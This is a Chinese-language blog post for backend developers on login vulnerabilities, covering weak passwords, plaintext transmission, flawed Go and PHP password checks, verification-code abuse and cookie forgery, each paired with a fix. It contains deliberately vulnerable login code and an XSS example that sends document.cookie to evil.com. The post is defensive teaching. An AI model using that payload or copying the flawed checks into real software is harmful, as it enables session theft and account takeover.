后端开发都应该了解的登录漏洞
登录是大部分网站都具备的一个功能,作为用户使用系统的第一步,如果登陆逻辑设计不合理,容易被攻击者利用,造成安全问题。
密码泄漏
弱口令
相信大家都知道弱口令是什么意思,用户为了方便,一般会使用123456、admin、passwd、password、123qwe等这些作为自己的常用密码,方便好记。黑客会对这些人们常用的密码建立破译字典,逐个尝试进行破解。另外,也建议大家不要用生日、手机号、姓名等相关信息作为密码,黑客在进行暴力破解前,会先收集用户的这些相关信息,录入破译字典中。
在Have I Been Pwned上可以查到,"123456"这个密码已经被使用了24,230,577
次
解决办法
最直接的解决办法,当然就是用户自己设置复杂的密码了。但是我们也应该从开发的角度提高安全性。
强制提高密码强度
程序规定密码强度规则,用户设置密码时,判断密码的强度是否符合要求,不符合拒绝设置。
限制登陆频率
暴力破解原理是用破译字段里的密码不断尝试登陆,我们可以程序控制登录频率,比如1分钟限制5次尝试登陆,超过这个次数后,再尝试登陆需要手机号/邮箱验证码。提高暴力破解的难度。
密码明文传输
用户请求登陆时,将用户的账号和密码通过明文的方式直接传输到服务端,黑客利用中间人攻击等手段,就能容易截获到用户的账号密码。
解决办法
客户端和服务端之间的连接使用https加密传输。避免传输数据被第三方获取。
代码逻辑漏洞
空密码登录
密码输错登陆失败,不输密码直接登陆进去了,乍一看不可思议,但确实有这种情况。
func Login(ctx context.Context, userID string, passwdInput *PasswdInfo) (err error) {
if passwdInput != nil && !passwordChk(userID, passwdInput.password) {
return errors.New("密码错误")
}
// 成功通过
...
}
大家别笑,真有遇到过这种代码, 可能是由于之前出现过passwdInput传入nil导致代码直接panic了,修改时没注意看逻辑,直接加了一层检查nil的判断,导致漏洞的出现。
"万能密码" - true
写PHP的同学肯定都了解"=="和"==="的区别。
if($passwdFromDb == $passwdInput)
{
// 登陆成功
}
上面代码,如果passwdInput传入true
,就能校验通过了。导致"万能密码"。所以同学们写的时候别吝啬那个"=",说不定能救你一命。
验证码漏洞
如今,登陆、修改密码越来越多都依赖手机/邮箱验证码了,有些甚至可以账号/手机号 + 验证码
的免密登陆,验证码控制不当也会是一个漏洞重灾区。
验证码暴力破解
当登陆/修改密码时,服务端向我们手机发送一个6位的验证码。如果服务端没有对验证码做任何限制。攻击者就能对验证码进行暴力尝试。
处理办法
- 对验证码尝试次数/频率进行限制
- 控制验证码的有效期
A的验证码,修改B的用户信息
A修改用户信息时,需要验证码校验。后端将用户会话token当成key,value为验证码,在redis中存储。校验时,只通过token校验验证码,不校验要修改信息的目标账号,比如A在修改参数中的userID = B,就会导致修改了B的用户信息。造成漏洞。
解决办法
注意验证码与目标账号身份的匹配。
cookie漏洞
cookie是用于客户端存储会话状态的,使用不加注意容易导致漏洞产生。
使用cookie进行身份验证
- 接口通过请求头中cookie的userID判断用户身份。可以直接修改cookie中的userID字段,伪造成任意其他用户。
- 接口通过请求头中cookie的role字段判断用户权限,可以直接修改前端cookie中的role字段,对用户进行提权。
解决办法
使用服务端的session存储用户信息,接口进行身份验证时,可以通过cookie中的sessionID字段,找到对应session内容,获取到用户信息,再进行后续判断。
cookie未设置httponly
xss攻击是一种代码注入攻击,攻击者在网站上注入恶意代码,使之在用户访问网站时运行,从而获取用户的敏感信息。 注入恶意代码
并不需要直接改网站源代码,比如用户在一个评论区写下
<script src=“http://evil.com” + escape(document.cookie)>
而程序没有对输入内容进行代码字符转义。其他人打开评论区时,就会自动运行这段恶意代码,将自己的cookie内容发送到http://evil.com
,导致cookie的泄漏。
当使用session存储用户信息时,cookie中存放着sessionID,后端接口根据sessionID对应的session进行用户身份校验。如果cookie中的sessionID被攻击者获取,即可以伪造受害者身份登陆网站。
处理办法
开启cookie的httponly属性,开启后,无法通过js脚本读取到cookie信息。可以有效防止xss攻击窃取cookie内容。
大家还知道其他的什么登陆漏洞,欢迎分享探讨~
写在最后
喜欢本文的朋友,欢迎关注公众号「会玩code」,专注大白话分享实用技术
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)